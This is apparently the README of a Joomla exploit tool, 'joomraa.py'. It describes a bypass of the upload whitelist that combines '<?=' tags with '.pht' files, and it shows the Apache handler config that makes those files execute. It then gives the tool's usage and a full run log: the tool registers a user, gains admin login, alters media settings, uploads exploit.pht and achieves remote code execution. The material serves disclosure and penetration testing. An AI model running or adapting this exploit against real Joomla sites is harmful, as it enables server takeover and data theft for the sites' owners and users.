While analysing the recent Joomla exploit in com_users:user.register we came across a problem with the upload whitelisting. They don't allow files containing <?php, or with the extensions .php and .phtml, but they do allow <?= and .pht files, which works out of the box on most hosting environments, including the standard Ubuntu LAMP install, as per:
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
Choose the username, password and e-mail address to use and point it at the URL for your Joomla website. Use the -x and -s options to customise exploit behaviour, -s searches for the given string in the output after running the PHP file (specified in -x), an example is provided which proves remote code execution.
$ ./joomraa.py -u hacker -p password -e hacker@example.com http://localhost:8080/joomla
@@@ @@@@@@ @@@@@@ @@@@@@@@@@ @@@@@@@ @@@@@@ @@@@@@ @@@
@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@
@@! @@! @@@ @@! @@@ @@! @@! @@! @@! @@@ @@! @@@ @@! @@@ @@!
!@! !@! @!@ !@! @!@ !@! !@! !@! !@! @!@ !@! @!@ !@! @!@ !@
!!@ @!@ !@! @!@ !@! @!! !!@ @!@ @!@!!@! @!@!@!@! @!@!@!@! @!@
!!! !@! !!! !@! !!! !@! ! !@! !!@!@! !!!@!!!! !!!@!!!! !!!
!!: !!: !!! !!: !!! !!: !!: !!: :!! !!: !!! !!: !!!
!!: :!: :!: !:! :!: !:! :!: :!: :!: !:! :!: !:! :!: !:! :!:
::: : :: ::::: :: ::::: :: ::: :: :: ::: :: ::: :: ::: ::
: ::: : : : : : : : : : : : : : : : : : :::
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[+] Admin Login Success!
[+] Getting media options
[+] Setting media options
[*] Uploading exploit.pht
[*] Uploading exploit to: http://localhost:8080/joomla/images/OGBUHCF5F.pht
[*] Calling exploit
[$] Exploit Successful!
[*] SUCCESS: http://localhost:8080/joomla
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